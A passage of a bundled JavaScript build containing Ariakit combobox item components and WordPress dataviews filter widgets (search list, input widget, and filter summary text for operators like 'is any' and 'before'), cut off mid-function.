40441 (_a2 = resetValueOnSelect != null ? resetValueOnSelect : resetValueOnSelectState) != null ? _a2 : multiSelectable
40442 );
40443 const hideOnClickProp = useBooleanEvent(hideOnClick);
40444 const onClick = useEvent((event) => {
40445 onClickProp == null ? void 0 : onClickProp(event);
40446 if (event.defaultPrevented) return;
40447 if (isDownloading(event)) return;
40448 if (isOpeningInNewTab(event)) return;
40449 if (value != null) {
40450 if (selectValueOnClickProp(event)) {
40451 if (resetValueOnSelectProp(event)) {
40452 store == null ? void 0 : store.resetValue();
40453 }
40454 store == null ? void 0 : store.setSelectedValue((prevValue) => {
40455 if (!Array.isArray(prevValue)) return value;
40456 if (prevValue.includes(value)) {
40457 return prevValue.filter((v) => v !== value);
40458 }
40459 return [...prevValue, value];
40460 });
40461 }
40462 if (setValueOnClickProp(event)) {
40463 store == null ? void 0 : store.setValue(value);
40464 }
40465 }
40466 if (hideOnClickProp(event)) {
40467 store == null ? void 0 : store.hide();
40468 }
40469 });
40470 const onKeyDownProp = props.onKeyDown;
40471 const onKeyDown = useEvent((event) => {
40472 onKeyDownProp == null ? void 0 : onKeyDownProp(event);
40473 if (event.defaultPrevented) return;
40474 const baseElement = store == null ? void 0 : store.getState().baseElement;
40475 if (!baseElement) return;
40476 if (hasFocus(baseElement)) return;
40477 const printable = event.key.length === 1;
40478 if (printable || event.key === "Backspace" || event.key === "Delete") {
40479 queueMicrotask(() => baseElement.focus());
40480 if (isTextField(baseElement)) {
40481 store == null ? void 0 : store.setValue(baseElement.value);
40482 }
40483 }
40484 });
40485 if (multiSelectable && selected != null) {
40486 props = _3YLGPPWQ_spreadValues({
40487 "aria-selected": selected
40488 }, props);
40489 }
40490 props = useWrapElement(
40491 props,
40492 (element) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(ComboboxItemValueContext.Provider, { value, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(ComboboxItemCheckedContext.Provider, { value: selected != null ? selected : false, children: element }) }),
40493 [value, selected]
40494 );
40495 const popupRole = (0,external_React_.useContext)(ComboboxListRoleContext);
40496 props = _3YLGPPWQ_spreadProps(_3YLGPPWQ_spreadValues({
40497 role: getItemRole(popupRole),
40498 children: value
40499 }, props), {
40500 onClick,
40501 onKeyDown
40502 });
40503 const moveOnKeyPressProp = useBooleanEvent(moveOnKeyPress);
40504 props = useCompositeItem(_3YLGPPWQ_spreadProps(_3YLGPPWQ_spreadValues({
40505 store
40506 }, props), {
40507 getItem,
40508 // Dispatch a custom event on the combobox input when moving to an item
40509 // with the keyboard so the Combobox component can enable inline
40510 // autocompletion.
40511 moveOnKeyPress: (event) => {
40512 if (!moveOnKeyPressProp(event)) return false;
40513 const moveEvent = new Event("combobox-item-move");
40514 const baseElement = store == null ? void 0 : store.getState().baseElement;
40515 baseElement == null ? void 0 : baseElement.dispatchEvent(moveEvent);
40516 return true;
40517 }
40518 }));
40519 props = useCompositeHover(_3YLGPPWQ_spreadValues({ store, focusOnHover }, props));
40520 return props;
40521 }
40522);
40523var ComboboxItem = memo2(
40524 forwardRef2(function ComboboxItem2(props) {
40525 const htmlProps = useComboboxItem(props);
40526 return createElement(ZTDSJLD6_TagName, htmlProps);
40527 })
40528);
40529
40530
40531
40532;// ./node_modules/@ariakit/react-core/esm/combobox/combobox-item-value.js
40533"use client";
40534
40535
40536
40537
40538
40539
40540
40541
40542
40543
40544
40545
40546// src/combobox/combobox-item-value.tsx
40547
40548
40549
40550
40551var combobox_item_value_TagName = "span";
40552function normalizeValue(value) {
40553 return PBFD2E7P_normalizeString(value).toLowerCase();
40554}
40555function getOffsets(string, values) {
40556 const offsets = [];
40557 for (const value of values) {
40558 let pos = 0;
40559 const length = value.length;
40560 while (string.indexOf(value, pos) !== -1) {
40561 const index = string.indexOf(value, pos);
40562 if (index !== -1) {
40563 offsets.push([index, length]);
40564 }
40565 pos = index + 1;
40566 }
40567 }
40568 return offsets;
40569}
40570function filterOverlappingOffsets(offsets) {
40571 return offsets.filter(([offset, length], i, arr) => {
40572 return !arr.some(
40573 ([o, l], j) => j !== i && o <= offset && o + l >= offset + length
40574 );
40575 });
40576}
40577function sortOffsets(offsets) {
40578 return offsets.sort(([a], [b]) => a - b);
40579}
40580function splitValue(itemValue, userValue) {
40581 if (!itemValue) return itemValue;
40582 if (!userValue) return itemValue;
40583 const userValues = toArray(userValue).filter(Boolean).map(normalizeValue);
40584 const parts = [];
40585 const span = (value, autocomplete = false) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
40586 "span",
40587 {
40588 "data-autocomplete-value": autocomplete ? "" : void 0,
40589 "data-user-value": autocomplete ? void 0 : "",
40590 children: value
40591 },
40592 parts.length
40593 );
40594 const offsets = sortOffsets(
40595 filterOverlappingOffsets(
40596 // Convert userValues into a set to avoid duplicates
40597 getOffsets(normalizeValue(itemValue), new Set(userValues))
40598 )
40599 );
40600 if (!offsets.length) {
40601 parts.push(span(itemValue, true));
40602 return parts;
40603 }
40604 const [firstOffset] = offsets[0];
40605 const values = [
40606 itemValue.slice(0, firstOffset),
40607 ...offsets.flatMap(([offset, length], i) => {
40608 var _a;
40609 const value = itemValue.slice(offset, offset + length);
40610 const nextOffset = (_a = offsets[i + 1]) == null ? void 0 : _a[0];
40611 const nextValue = itemValue.slice(offset + length, nextOffset);
40612 return [value, nextValue];
40613 })
40614 ];
40615 values.forEach((value, i) => {
40616 if (!value) return;
40617 parts.push(span(value, i % 2 === 0));
40618 });
40619 return parts;
40620}
40621var useComboboxItemValue = createHook(function useComboboxItemValue2(_a) {
40622 var _b = _a, { store, value, userValue } = _b, props = __objRest(_b, ["store", "value", "userValue"]);
40623 const context = useComboboxScopedContext();
40624 store = store || context;
40625 const itemContext = (0,external_React_.useContext)(ComboboxItemValueContext);
40626 const itemValue = value != null ? value : itemContext;
40627 const inputValue = useStoreState(store, (state) => userValue != null ? userValue : state == null ? void 0 : state.value);
40628 const children = (0,external_React_.useMemo)(() => {
40629 if (!itemValue) return;
40630 if (!inputValue) return itemValue;
40631 return splitValue(itemValue, inputValue);
40632 }, [itemValue, inputValue]);
40633 props = _3YLGPPWQ_spreadValues({
40634 children
40635 }, props);
40636 return removeUndefinedValues(props);
40637});
40638var ComboboxItemValue = forwardRef2(function ComboboxItemValue2(props) {
40639 const htmlProps = useComboboxItemValue(props);
40640 return createElement(combobox_item_value_TagName, htmlProps);
40641});
40642
40643
40644;// ./node_modules/@wordpress/dataviews/build-module/components/dataviews-filters/utils.js
40645const utils_EMPTY_ARRAY = [];
40646const getCurrentValue = (filterDefinition, currentFilter) => {
40647 if (filterDefinition.singleSelection) {
40648 return currentFilter?.value;
40649 }
40650 if (Array.isArray(currentFilter?.value)) {
40651 return currentFilter.value;
40652 }
40653 if (!Array.isArray(currentFilter?.value) && !!currentFilter?.value) {
40654 return [currentFilter.value];
40655 }
40656 return utils_EMPTY_ARRAY;
40657};
40658
40659
40660;// ./node_modules/@wordpress/dataviews/build-module/components/dataviews-filters/search-widget.js
40661
40662
40663
40664
40665
40666
40667
40668
40669
40670
40671
40672function search_widget_normalizeSearchInput(input = "") {
40673 return remove_accents_default()(input.trim().toLowerCase());
40674}
40675const getNewValue = (filterDefinition, currentFilter, value) => {
40676 if (filterDefinition.singleSelection) {
40677 return value;
40678 }
40679 if (Array.isArray(currentFilter?.value)) {
40680 return currentFilter.value.includes(value) ? currentFilter.value.filter((v) => v !== value) : [...currentFilter.value, value];
40681 }
40682 return [value];
40683};
40684function generateFilterElementCompositeItemId(prefix, filterElementValue) {
40685 return `${prefix}-${filterElementValue}`;
40686}
40687const MultiSelectionOption = ({ selected }) => {
40688 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
40689 "span",
40690 {
40691 className: dist_clsx(
40692 "dataviews-filters__search-widget-listitem-multi-selection",
40693 { "is-selected": selected }
40694 ),
40695 children: selected && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Icon, { icon: check_default })
40696 }
40697 );
40698};
40699const SingleSelectionOption = ({ selected }) => {
40700 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
40701 "span",
40702 {
40703 className: dist_clsx(
40704 "dataviews-filters__search-widget-listitem-single-selection",
40705 { "is-selected": selected }
40706 )
40707 }
40708 );
40709};
40710function ListBox({ view, filter, onChangeView }) {
40711 const baseId = (0,external_wp_compose_namespaceObject.useInstanceId)(ListBox, "dataviews-filter-list-box");
40712 const [activeCompositeId, setActiveCompositeId] = (0,external_wp_element_.useState)(
40713 // When there are one or less operators, the first item is set as active
40714 // (by setting the initial `activeId` to `undefined`).
40715 // With 2 or more operators, the focus is moved on the operators control
40716 // (by setting the initial `activeId` to `null`), meaning that there won't
40717 // be an active item initially. Focus is then managed via the
40718 // `onFocusVisible` callback.
40719 filter.operators?.length === 1 ? void 0 : null
40720 );
40721 const currentFilter = view.filters?.find(
40722 (f) => f.field === filter.field
40723 );
40724 const currentValue = getCurrentValue(filter, currentFilter);
40725 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
40726 external_wp_components_namespaceObject.Composite,
40727 {
40728 virtualFocus: true,
40729 focusLoop: true,
40730 activeId: activeCompositeId,
40731 setActiveId: setActiveCompositeId,
40732 role: "listbox",
40733 className: "dataviews-filters__search-widget-listbox",
40734 "aria-label": (0,external_wp_i18n_namespaceObject.sprintf)(
40735 /* translators: List of items for a filter. 1: Filter name. e.g.: "List of: Author". */
40736 (0,external_wp_i18n_namespaceObject.__)("List of: %1$s"),
40737 filter.name
40738 ),
40739 onFocusVisible: () => {
40740 if (!activeCompositeId && filter.elements.length) {
40741 setActiveCompositeId(
40742 generateFilterElementCompositeItemId(
40743 baseId,
40744 filter.elements[0].value
40745 )
40746 );
40747 }
40748 },
40749 render: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Composite.Typeahead, {}),
40750 children: filter.elements.map((element) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
40751 external_wp_components_namespaceObject.Composite.Hover,
40752 {
40753 render: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
40754 external_wp_components_namespaceObject.Composite.Item,
40755 {
40756 id: generateFilterElementCompositeItemId(
40757 baseId,
40758 element.value
40759 ),
40760 render: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
40761 "div",
40762 {
40763 "aria-label": element.label,
40764 role: "option",
40765 className: "dataviews-filters__search-widget-listitem"
40766 }
40767 ),
40768 onClick: () => {
40769 const newFilters = currentFilter ? [
40770 ...(view.filters ?? []).map(
40771 (_filter) => {
40772 if (_filter.field === filter.field) {
40773 return {
40774 ..._filter,
40775 operator: currentFilter.operator || filter.operators[0],
40776 value: getNewValue(
40777 filter,
40778 currentFilter,
40779 element.value
40780 )
40781 };
40782 }
40783 return _filter;
40784 }
40785 )
40786 ] : [
40787 ...view.filters ?? [],
40788 {
40789 field: filter.field,
40790 operator: filter.operators[0],
40791 value: getNewValue(
40792 filter,
40793 currentFilter,
40794 element.value
40795 )
40796 }
40797 ];
40798 onChangeView({
40799 ...view,
40800 page: 1,
40801 filters: newFilters
40802 });
40803 }
40804 }
40805 ),
40806 children: [
40807 filter.singleSelection && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
40808 SingleSelectionOption,
40809 {
40810 selected: currentValue === element.value
40811 }
40812 ),
40813 !filter.singleSelection && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
40814 MultiSelectionOption,
40815 {
40816 selected: currentValue.includes(element.value)
40817 }
40818 ),
40819 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("span", { children: element.label })
40820 ]
40821 },
40822 element.value
40823 ))
40824 }
40825 );
40826}
40827function search_widget_ComboboxList({ view, filter, onChangeView }) {
40828 const [searchValue, setSearchValue] = (0,external_wp_element_.useState)("");
40829 const deferredSearchValue = (0,external_wp_element_.useDeferredValue)(searchValue);
40830 const currentFilter = view.filters?.find(
40831 (_filter) => _filter.field === filter.field
40832 );
40833 const currentValue = getCurrentValue(filter, currentFilter);
40834 const matches = (0,external_wp_element_.useMemo)(() => {
40835 const normalizedSearch = search_widget_normalizeSearchInput(deferredSearchValue);
40836 return filter.elements.filter(
40837 (item) => search_widget_normalizeSearchInput(item.label).includes(normalizedSearch)
40838 );
40839 }, [filter.elements, deferredSearchValue]);
40840 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
40841 ComboboxProvider,
40842 {
40843 selectedValue: currentValue,
40844 setSelectedValue: (value) => {
40845 const newFilters = currentFilter ? [
40846 ...(view.filters ?? []).map((_filter) => {
40847 if (_filter.field === filter.field) {
40848 return {
40849 ..._filter,
40850 operator: currentFilter.operator || filter.operators[0],
40851 value
40852 };
40853 }
40854 return _filter;
40855 })
40856 ] : [
40857 ...view.filters ?? [],
40858 {
40859 field: filter.field,
40860 operator: filter.operators[0],
40861 value
40862 }
40863 ];
40864 onChangeView({
40865 ...view,
40866 page: 1,
40867 filters: newFilters
40868 });
40869 },
40870 setValue: setSearchValue,
40871 children: [
40872 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { className: "dataviews-filters__search-widget-filter-combobox__wrapper", children: [
40873 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
40874 ComboboxLabel,
40875 {
40876 render: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.VisuallyHidden, { children: (0,external_wp_i18n_namespaceObject.__)("Search items") }),
40877 children: (0,external_wp_i18n_namespaceObject.__)("Search items")
40878 }
40879 ),
40880 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
40881 Combobox,
40882 {
40883 autoSelect: "always",
40884 placeholder: (0,external_wp_i18n_namespaceObject.__)("Search"),
40885 className: "dataviews-filters__search-widget-filter-combobox__input"
40886 }
40887 ),
40888 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "dataviews-filters__search-widget-filter-combobox__icon", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Icon, { icon: search_default }) })
40889 ] }),
40890 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
40891 ComboboxList,
40892 {
40893 className: "dataviews-filters__search-widget-filter-combobox-list",
40894 alwaysVisible: true,
40895 children: [
40896 matches.map((element) => {
40897 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
40898 ComboboxItem,
40899 {
40900 resetValueOnSelect: false,
40901 value: element.value,
40902 className: "dataviews-filters__search-widget-listitem",
40903 hideOnClick: false,
40904 setValueOnClick: false,
40905 focusOnHover: true,
40906 children: [
40907 filter.singleSelection && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
40908 SingleSelectionOption,
40909 {
40910 selected: currentValue === element.value
40911 }
40912 ),
40913 !filter.singleSelection && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
40914 MultiSelectionOption,
40915 {
40916 selected: currentValue.includes(
40917 element.value
40918 )
40919 }
40920 ),
40921 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("span", { children: [
40922 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
40923 ComboboxItemValue,
40924 {
40925 className: "dataviews-filters__search-widget-filter-combobox-item-value",
40926 value: element.label
40927 }
40928 ),
40929 !!element.description && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("span", { className: "dataviews-filters__search-widget-listitem-description", children: element.description })
40930 ] })
40931 ]
40932 },
40933 element.value
40934 );
40935 }),
40936 !matches.length && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("p", { children: (0,external_wp_i18n_namespaceObject.__)("No results found") })
40937 ]
40938 }
40939 )
40940 ]
40941 }
40942 );
40943}
40944function SearchWidget(props) {
40945 const { elements, isLoading } = useElements({
40946 elements: props.filter.elements,
40947 getElements: props.filter.getElements
40948 });
40949 if (isLoading) {
40950 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "dataviews-filters__search-widget-no-elements", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Spinner, {}) });
40951 }
40952 if (elements.length === 0) {
40953 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "dataviews-filters__search-widget-no-elements", children: (0,external_wp_i18n_namespaceObject.__)("No elements found") });
40954 }
40955 const Widget = elements.length > 10 ? search_widget_ComboboxList : ListBox;
40956 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(Widget, { ...props, filter: { ...props.filter, elements } });
40957}
40958
40959
40960// EXTERNAL MODULE: ./node_modules/fast-deep-equal/es6/index.js
40961var es6 = __webpack_require__(7734);
40962var es6_default = /*#__PURE__*/__webpack_require__.n(es6);
40963;// ./node_modules/@wordpress/dataviews/build-module/components/dataviews-filters/input-widget.js
40964
40965
40966
40967
40968
40969
40970function InputWidget({
40971 filter,
40972 view,
40973 onChangeView,
40974 fields
40975}) {
40976 const currentFilter = view.filters?.find(
40977 (f) => f.field === filter.field
40978 );
40979 const currentValue = getCurrentValue(filter, currentFilter);
40980 const field = (0,external_wp_element_.useMemo)(() => {
40981 const currentField = fields.find((f) => f.id === filter.field);
40982 if (currentField) {
40983 return {
40984 ...currentField,
40985 // Deactivate validation for filters.
40986 isValid: {
40987 required: false,
40988 custom: () => null
40989 },
40990 // Configure getValue/setValue as if Item was a plain object.
40991 getValue: ({ item }) => item[currentField.id],
40992 setValue: ({ value }) => ({
40993 [currentField.id]: value
40994 })
40995 };
40996 }
40997 return currentField;
40998 }, [fields, filter.field]);
40999 const data = (0,external_wp_element_.useMemo)(() => {
41000 return (view.filters ?? []).reduce(
41001 (acc, activeFilter) => {
41002 acc[activeFilter.field] = activeFilter.value;
41003 return acc;
41004 },
41005 {}
41006 );
41007 }, [view.filters]);
41008 const handleChange = (0,external_wp_compose_namespaceObject.useEvent)((updatedData) => {
41009 if (!field || !currentFilter) {
41010 return;
41011 }
41012 const nextValue = field.getValue({ item: updatedData });
41013 if (es6_default()(nextValue, currentValue)) {
41014 return;
41015 }
41016 onChangeView({
41017 ...view,
41018 filters: (view.filters ?? []).map(
41019 (_filter) => _filter.field === filter.field ? {
41020 ..._filter,
41021 operator: currentFilter.operator || filter.operators[0],
41022 // Consider empty strings as undefined:
41023 //
41024 // - undefined as value means the filter is unset: the filter widget displays no value and the search returns all records
41025 // - empty string as value means "search empty string": returns only the records that have an empty string as value
41026 //
41027 // In practice, this means the filter will not be able to find an empty string as the value.
41028 value: nextValue === "" ? void 0 : nextValue
41029 } : _filter
41030 )
41031 });
41032 });
41033 if (!field || !field.Edit || !currentFilter) {
41034 return null;
41035 }
41036 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
41037 external_wp_components_namespaceObject.Flex,
41038 {
41039 className: "dataviews-filters__user-input-widget",
41040 gap: 2.5,
41041 direction: "column",
41042 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
41043 field.Edit,
41044 {
41045 hideLabelFromVision: true,
41046 data,
41047 field,
41048 operator: currentFilter.operator,
41049 onChange: handleChange
41050 }
41051 )
41052 }
41053 );
41054}
41055
41056
41057;// ./node_modules/@wordpress/dataviews/build-module/components/dataviews-filters/filter.js
41058
41059
41060
41061
41062
41063
41064const ENTER = "Enter";
41065const SPACE = " ";
41066
41067
41068
41069
41070const FilterText = ({
41071 activeElements,
41072 filterInView,
41073 filter
41074}) => {
41075 if (activeElements === void 0 || activeElements.length === 0) {
41076 return filter.name;
41077 }
41078 const filterTextWrappers = {
41079 Name: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("span", { className: "dataviews-filters__summary-filter-text-name" }),
41080 Value: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("span", { className: "dataviews-filters__summary-filter-text-value" })
41081 };
41082 if (filterInView?.operator === constants_OPERATOR_IS_ANY) {
41083 return (0,external_wp_element_.createInterpolateElement)(
41084 (0,external_wp_i18n_namespaceObject.sprintf)(
41085 /* translators: 1: Filter name. 2: Filter value. e.g.: "Author is any: Admin, Editor". */
41086 (0,external_wp_i18n_namespaceObject.__)("<Name>%1$s is any: </Name><Value>%2$s</Value>"),
41087 filter.name,
41088 activeElements.map((element) => element.label).join(", ")
41089 ),
41090 filterTextWrappers
41091 );
41092 }
41093 if (filterInView?.operator === constants_OPERATOR_IS_NONE) {
41094 return (0,external_wp_element_.createInterpolateElement)(
41095 (0,external_wp_i18n_namespaceObject.sprintf)(
41096 /* translators: 1: Filter name. 2: Filter value. e.g.: "Author is none: Admin, Editor". */
41097 (0,external_wp_i18n_namespaceObject.__)("<Name>%1$s is none: </Name><Value>%2$s</Value>"),
41098 filter.name,
41099 activeElements.map((element) => element.label).join(", ")
41100 ),
41101 filterTextWrappers
41102 );
41103 }
41104 if (filterInView?.operator === OPERATOR_IS_ALL) {
41105 return (0,external_wp_element_.createInterpolateElement)(
41106 (0,external_wp_i18n_namespaceObject.sprintf)(
41107 /* translators: 1: Filter name. 2: Filter value. e.g.: "Author is all: Admin, Editor". */
41108 (0,external_wp_i18n_namespaceObject.__)("<Name>%1$s is all: </Name><Value>%2$s</Value>"),
41109 filter.name,
41110 activeElements.map((element) => element.label).join(", ")
41111 ),
41112 filterTextWrappers
41113 );
41114 }
41115 if (filterInView?.operator === OPERATOR_IS_NOT_ALL) {
41116 return (0,external_wp_element_.createInterpolateElement)(
41117 (0,external_wp_i18n_namespaceObject.sprintf)(
41118 /* translators: 1: Filter name. 2: Filter value. e.g.: "Author is not all: Admin, Editor". */
41119 (0,external_wp_i18n_namespaceObject.__)("<Name>%1$s is not all: </Name><Value>%2$s</Value>"),
41120 filter.name,
41121 activeElements.map((element) => element.label).join(", ")
41122 ),
41123 filterTextWrappers
41124 );
41125 }
41126 if (filterInView?.operator === constants_OPERATOR_IS) {
41127 return (0,external_wp_element_.createInterpolateElement)(
41128 (0,external_wp_i18n_namespaceObject.sprintf)(
41129 /* translators: 1: Filter name. 2: Filter value. e.g.: "Author is: Admin". */
41130 (0,external_wp_i18n_namespaceObject.__)("<Name>%1$s is: </Name><Value>%2$s</Value>"),
41131 filter.name,
41132 activeElements[0].label
41133 ),
41134 filterTextWrappers
41135 );
41136 }
41137 if (filterInView?.operator === constants_OPERATOR_IS_NOT) {
41138 return (0,external_wp_element_.createInterpolateElement)(
41139 (0,external_wp_i18n_namespaceObject.sprintf)(
41140 /* translators: 1: Filter name. 2: Filter value. e.g.: "Author is not: Admin". */
41141 (0,external_wp_i18n_namespaceObject.__)("<Name>%1$s is not: </Name><Value>%2$s</Value>"),
41142 filter.name,
41143 activeElements[0].label
41144 ),
41145 filterTextWrappers
41146 );
41147 }
41148 if (filterInView?.operator === OPERATOR_LESS_THAN) {
41149 return (0,external_wp_element_.createInterpolateElement)(
41150 (0,external_wp_i18n_namespaceObject.sprintf)(
41151 /* translators: 1: Filter name. 2: Filter value. e.g.: "Price is less than: 10". */
41152 (0,external_wp_i18n_namespaceObject.__)("<Name>%1$s is less than: </Name><Value>%2$s</Value>"),
41153 filter.name,
41154 activeElements[0].label
41155 ),
41156 filterTextWrappers
41157 );
41158 }
41159 if (filterInView?.operator === OPERATOR_GREATER_THAN) {
41160 return (0,external_wp_element_.createInterpolateElement)(
41161 (0,external_wp_i18n_namespaceObject.sprintf)(
41162 /* translators: 1: Filter name. 2: Filter value. e.g.: "Price is greater than: 10". */
41163 (0,external_wp_i18n_namespaceObject.__)("<Name>%1$s is greater than: </Name><Value>%2$s</Value>"),
41164 filter.name,
41165 activeElements[0].label
41166 ),
41167 filterTextWrappers
41168 );
41169 }
41170 if (filterInView?.operator === OPERATOR_LESS_THAN_OR_EQUAL) {
41171 return (0,external_wp_element_.createInterpolateElement)(
41172 (0,external_wp_i18n_namespaceObject.sprintf)(
41173 /* translators: 1: Filter name. 2: Filter value. e.g.: "Price is less than or equal to: 10". */
41174 (0,external_wp_i18n_namespaceObject.__)(
41175 "<Name>%1$s is less than or equal to: </Name><Value>%2$s</Value>"
41176 ),
41177 filter.name,
41178 activeElements[0].label
41179 ),
41180 filterTextWrappers
41181 );
41182 }
41183 if (filterInView?.operator === OPERATOR_GREATER_THAN_OR_EQUAL) {
41184 return (0,external_wp_element_.createInterpolateElement)(
41185 (0,external_wp_i18n_namespaceObject.sprintf)(
41186 /* translators: 1: Filter name. 2: Filter value. e.g.: "Price is greater than or equal to: 10". */
41187 (0,external_wp_i18n_namespaceObject.__)(
41188 "<Name>%1$s is greater than or equal to: </Name><Value>%2$s</Value>"
41189 ),
41190 filter.name,
41191 activeElements[0].label
41192 ),
41193 filterTextWrappers
41194 );
41195 }
41196 if (filterInView?.operator === OPERATOR_CONTAINS) {
41197 return (0,external_wp_element_.createInterpolateElement)(
41198 (0,external_wp_i18n_namespaceObject.sprintf)(
41199 /* translators: 1: Filter name. 2: Filter value. e.g.: "Title contains: Mars". */
41200 (0,external_wp_i18n_namespaceObject.__)("<Name>%1$s contains: </Name><Value>%2$s</Value>"),
41201 filter.name,
41202 activeElements[0].label
41203 ),
41204 filterTextWrappers
41205 );
41206 }
41207 if (filterInView?.operator === OPERATOR_NOT_CONTAINS) {
41208 return (0,external_wp_element_.createInterpolateElement)(
41209 (0,external_wp_i18n_namespaceObject.sprintf)(
41210 /* translators: 1: Filter name. 2: Filter value. e.g.: "Description doesn't contain: photo". */
41211 (0,external_wp_i18n_namespaceObject.__)("<Name>%1$s doesn't contain: </Name><Value>%2$s</Value>"),
41212 filter.name,
41213 activeElements[0].label
41214 ),
41215 filterTextWrappers
41216 );
41217 }
41218 if (filterInView?.operator === OPERATOR_STARTS_WITH) {
41219 return (0,external_wp_element_.createInterpolateElement)(
41220 (0,external_wp_i18n_namespaceObject.sprintf)(
41221 /* translators: 1: Filter name. 2: Filter value. e.g.: "Title starts with: Mar". */
41222 (0,external_wp_i18n_namespaceObject.__)("<Name>%1$s starts with: </Name><Value>%2$s</Value>"),
41223 filter.name,
41224 activeElements[0].label
41225 ),
41226 filterTextWrappers
41227 );
41228 }
41229 if (filterInView?.operator === OPERATOR_BEFORE) {
41230 return (0,external_wp_element_.createInterpolateElement)(
41231 (0,external_wp_i18n_namespaceObject.sprintf)(
41232 /* translators: 1: Filter name. 2: Filter value. e.g.: "Date is before: 2024-01-01". */
41233 (0,external_wp_i18n_namespaceObject.__)("<Name>%1$s is before: </Name><Value>%2$s</Value>"),
41234 filter.name,
41235 activeElements[0].label
41236 ),
41237 filterTextWrappers
41238 );
41239 }
41240 if (filterInView?.operator === OPERATOR_AFTER) {
41241 return (0,external_wp_element_.createInterpolateElement)(
41242 (0,external_wp_i18n_namespaceObject.sprintf)(
41243 /* translators: 1: Filter name. 2: Filter value. e.g.: "Date is after: 2024-01-01". */
41244 (0,external_wp_i18n_namespaceObject.__)("<Name>%1$s is after: </Name><Value>%2$s</Value>"),
41245 filter.name,
41246 activeElements[0].label
41247 ),
41248 filterTextWrappers
41249 );
41250 }
41251 if (filterInView?.operator === OPERATOR_BEFORE_INC) {
41252 return (0,external_wp_element_.createInterpolateElement)(
41253 (0,external_wp_i18n_namespaceObject.sprintf)(
41254 /* translators: 1: Filter name. 2: Filter value. e.g.: "Date is on or before: 2024-01-01". */
41255 (0,external_wp_i18n_namespaceObject.__)("<Name>%1$s is on or before: </Name><Value>%2$s</Value>"),
41256 filter.name,
41257 activeElements[0].label
41258 ),
41259 filterTextWrappers
41260 );
41261 }
41262 if (filterInView?.operator === OPERATOR_AFTER_INC) {
41263 return (0,external_wp_element_.createInterpolateElement)(
41264 (0,external_wp_i18n_namespaceObject.sprintf)(
41265 /* translators: 1: Filter name. 2: Filter value. e.g.: "Date is on or after: 2024-01-01". */
41266 (0,external_wp_i18n_namespaceObject.__)("<Name>%1$s is on or after: </Name><Value>%2$s</Value>"),
41267 filter.name,
41268 activeElements[0].label
41269 ),
41270 filterTextWrappers
41271 );
41272 }
41273 if (filterInView?.operator === OPERATOR_BETWEEN) {
41274 const { label } = activeElements[0];
41275 return (0,external_wp_element_.createInterpolateElement)(
41276 (0,external_wp_i18n_namespaceObject.sprintf)(
41277 /* translators: 1: Filter name. 2: Min value. 3: Max value. e.g.: "Item count between (inc): 10 and 180". */
41278 (0,external_wp_i18n_namespaceObject.__)(
41279 "<Name>%1$s between (inc): </Name><Value>%2$s and %3$s</Value>"
41280 ),
41281 filter.name,
41282 label[0],
41283 label[1]
41284 ),
41285 filterTextWrappers
41286 );
41287 }
41288 if (filterInView?.operator === OPERATOR_ON) {
41289 return (0,external_wp_element_.createInterpolateElement)(
41290 (0,external_wp_i18n_namespaceObject.sprintf)(
41291 /* translators: 1: Filter name. 2: Filter value. e.g.: "Date is: 2024-01-01". */
41292 (0,external_wp_i18n_namespaceObject.__)("<Name>%1$s is: </Name><Value>%2$s</Value>"),
41293 filter.name,
41294 activeElements[0].label
41295 ),
41296 filterTextWrappers
41297 );
41298 }
41299 if (filterInView?.operator === OPERATOR_NOT_ON) {
41300 return (0,external_wp_element_.createInterpolateElement)(
41301 (0,external_wp_i18n_namespaceObject.sprintf)(
41302 /* translators: 1: Filter name. 2: Filter value. e.g.: "Date is not: 2024-01-01". */
